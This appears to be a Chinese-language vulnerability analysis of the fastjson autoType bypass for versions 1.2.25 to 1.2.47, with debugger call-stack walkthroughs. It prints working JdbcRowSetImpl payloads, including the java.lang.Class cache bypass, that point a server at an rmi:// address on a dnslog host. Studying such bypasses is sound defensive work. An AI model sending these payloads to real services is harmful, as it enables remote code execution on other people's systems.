0X01 fastjson 1.2.25修了什么
用1.2.24的payload打一遍,autotype被攔截
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://3333.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}";
對比 1.2.24 和 1.2.25的看看

在加載class的同時檢測加載的類

先進行了黑名單,黑名單命中就沒了;
黑名單列表

再進行白名單,白名單命中直接過
白名單

所以,針對1.2.25的修改做突破
0X02 1.2.25到1.2.47的ParserConfig.class checkAutoType函數

改成了對比hash
0X03 看看1.2.25 - 1.2.47的payload是怎么突破的
1 payload
String string = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://4444.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}}}";
2 第一個解析 java.lang.Class
ParserConfig.class中
checkAutoType函數-> java.lang.Class 順利通過
在 mapping列表中(86個,沒有java.lang.Class),沒有找到,所以從 this.deserializers.findClass中尋找(按理解,是基礎類,1024個),找到了,返回。


3 第二個解析 com.sun.rowset.JdbcRowSetImpl
在checkAutoType中
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
跳轉到getClassFromMapping函數,mappings從86個變成87個,多了一個com.sun.rowset.JdbcRowSetlmpl,之后順利拿到class,在737返回。



4 什么時候把jdbc塞進mappings的
這個mapping,第一個還沒看到。那么可能是第一次執行后塞進去的
我們直接在TypeUtils.class里搜索"mappings.put(" ,loadClass里三次調用,也就是說如果調用這個loadClass可能會塞進來
直接打上三個斷點,看看是否是通過這里,被塞進來的

發現確實是第一個解析完后,在解析第二個之前就塞進來了。在293行走到了TypeUtils的loadclass傳入jdbc函數。
具體找找在哪里,跟進去

在fastjson/serializer/MiscCoded.class: 287中,調用loadClass,把com.sun.rowset.JdbcRowSetImpl傳進去。

那么問題,com.sun.rowset.JdbcRowSetImpl哪來的,明明className是 java.lang.class。發現還是DefaultJSONParser的parse來的。

com.sun.rowset.JdbcRowSetImpl來自parse時, lexer.stringVal(),java.lang.Class的作用,會調用到這里。
stringVal()是接口函數 (fastjson/parser/JSONLexerBase.class),具體實現的地方是fastjson/parser/JSONScanner.class,在下圖1-1257 Step into進入。


沒有 hasSpecial,所以取42到42+29 com.sun.rowset.JdbcRowSetlmpl
5 關於java.lang.class
為什么是java.lang.class?
因為反序列化處理類是MiscCodec。
這種映射關系在哪里定義的?
DefaultJSONParser.class 292行 ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
跳轉ParserConfig.class,定義了1023種 類:反序列化處理類的映射關系

6 由上而下
payload
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://3333.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}";
parseObject:201 JSON->
--parse:128, JSON->
----parse:137, JSON->
------parse:1293,DefaultJSONParser-> [return this.parse((Object)null);]
--------parse:1327,DefaultJSONParser [case 12]
第一輪,解析到第一段內容 name: {}
[文件] DefaultJSONParser.class
488行 obj = this.parseObject((Map)input, key); key:name
--[文件] DefaultJSONParser.class
--276行 第一個java.lang.Class經過checkAutoType后
--292行 獲取 "java.lang.class"的反序列化處理類 MiscCodec: ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
--293行 thisObj = deserializer.deserialze(this, clazz, fieldName);
--進入deserializer.deserialze-MiscCodec
----[文件] MiscCodec.class-deserialze:
----229行 objVal = parser.parse();
------[文件] DefaultJSONParser.class:
------1257 parser函數 case 4
------String stringLiteral = lexer.stringVal();
--------[文件] fastjson.parser.JSONScanner.class:
--------return !this.hasSpecial ? this.subString(this.np + 1, this.sp) : new String(this.sbuf, 0, this.sp);
--------返回com.sun.rowset.JdbcRowSetImpl的objVal
----287行 return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
------[文件] fastjson.util.TypeUtils.class:
------loadClass() 858行 把com.sun.rowset.JdbcRowSetImpl 放到mappings中
第二輪,解析第二段內容 x:{}
488行 obj = this.parseObject((Map)input, key); key:x
--[文件] DefaultJSONParser.class
--276行 typename="com.sun.rowset.JdbcRowSetImpl" 進入checkAutoType
----[文件] ParserConfig.class
----728行 Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
------[文件] TypeUtils.class
------return (Class)mappings.get(className);
------mappings里已經有com.sun.rowset.JdbcRowSetImpl了
----736行 return clazz;
--293 行 thisObj = deserializer.deserialze(this, clazz, fieldName);
--loadclass 觸發JdbcRowSetImpl
7 回到1.2.47
loadClass:1242, TypeUtils (com.alibaba.fastjson.util)
mappings.put(className, clazz);
loadClass:1206, TypeUtils (com.alibaba.fastjson.util)
return loadClass(className, classLoader, true);
deserialze:335, MiscCodec (com.alibaba.fastjson.serializer)
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
Object obj = deserializer.deserialze(this, clazz, fieldName);
�由此修改mappings
